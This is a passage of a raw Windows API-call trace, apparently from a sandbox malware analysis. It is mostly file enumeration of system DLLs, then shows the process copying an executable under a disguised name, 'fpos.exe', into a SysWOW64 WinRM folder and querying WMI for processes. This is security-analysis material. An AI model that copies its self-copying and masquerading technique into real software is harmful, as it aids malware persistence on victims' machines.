ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x345568c0, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0154.226] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0154.226] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e66c4c0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x5e66c4c0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x1e52f2e0, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0154.226] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0154.226] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x0, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x0, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d92e0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x85d92e0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85f5be93, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8332c5e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8332c5e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83352741, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cae5ce, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x85cae5ce, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85cd472e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa0e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x0, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0154.227] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0154.228] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1533a9b1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x1533a9b1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x5df3f69c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xa273, dwReserved0=0x0, dwReserved1=0x0, cFileName="azman.msc", cAlternateFileName="")) returned 1 [0154.228] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x0, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0154.228] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0154.228] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0154.228] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x0, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0154.228] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0154.228] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0154.561] FindClose (in: hFindFile=0x1a9d8de0 | out: hFindFile=0x1a9d8de0) returned 1 [0154.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0154.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0154.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0154.564] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\winrm", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\winrm", lpFilePart=0x0) returned 0x19 [0154.564] FindFirstFileW (in: lpFileName="C:\\Windows\\SysWOW64\\winrm\\*" (normalized: "c:\\windows\\syswow64\\winrm\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8de0 [0154.567] FindClose (in: hFindFile=0x1a9d8de0 | out: hFindFile=0x1a9d8de0) returned 1 [0154.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0154.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0154.568] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe", lpFilePart=0x0) returned 0x27 [0154.568] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0154.568] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe", lpFilePart=0x0) returned 0x27 [0154.568] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe" (normalized: "c:\\windows\\syswow64\\winrm\\0409\\fpos.exe"), bFailIfExists=0) returned 1 [0154.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\winrm\\0409\\2cfdd657e33eed", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\winrm\\0409\\2cfdd657e33eed", lpFilePart=0x0) returned 0x2d [0154.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0154.633] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\winrm\\0409\\2cfdd657e33eed" (normalized: "c:\\windows\\syswow64\\winrm\\0409\\2cfdd657e33eed"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2d0 [0154.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0154.647] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0154.647] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0154.647] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0154.647] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.650] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc409e0) returned 0x0 [0154.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc409e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0154.651] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc409e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc93af0) returned 0x0 [0154.651] WbemDefPath:IUnknown:Release (This=0x1bc409e0) returned 0x0 [0154.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc93af0) returned 0x0 [0154.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0154.652] WbemDefPath:IUnknown:AddRef (This=0x1bc93af0) returned 0x3 [0154.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0154.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0154.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc40940) returned 0x0 [0154.652] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc40940, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.652] WbemDefPath:IUnknown:Release (This=0x1bc40940) returned 0x3 [0154.652] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0154.653] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0154.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0154.653] WbemDefPath:IUnknown:Release (This=0x1bc93af0) returned 0x2 [0154.653] WbemDefPath:IUnknown:Release (This=0x1bc93af0) returned 0x1 [0154.653] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0154.653] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0154.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93af0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc93af0) returned 0x0 [0154.653] WbemDefPath:IUnknown:AddRef (This=0x1bc93af0) returned 0x3 [0154.653] WbemDefPath:IUnknown:Release (This=0x1bc93af0) returned 0x2 [0154.653] WbemDefPath:IWbemPath:SetText (This=0x1bc93af0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0154.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93af0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0154.654] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93af0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0154.654] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93af0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0154.654] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93af0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0154.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93af0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0154.654] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93af0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0154.654] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0154.654] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0154.654] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, 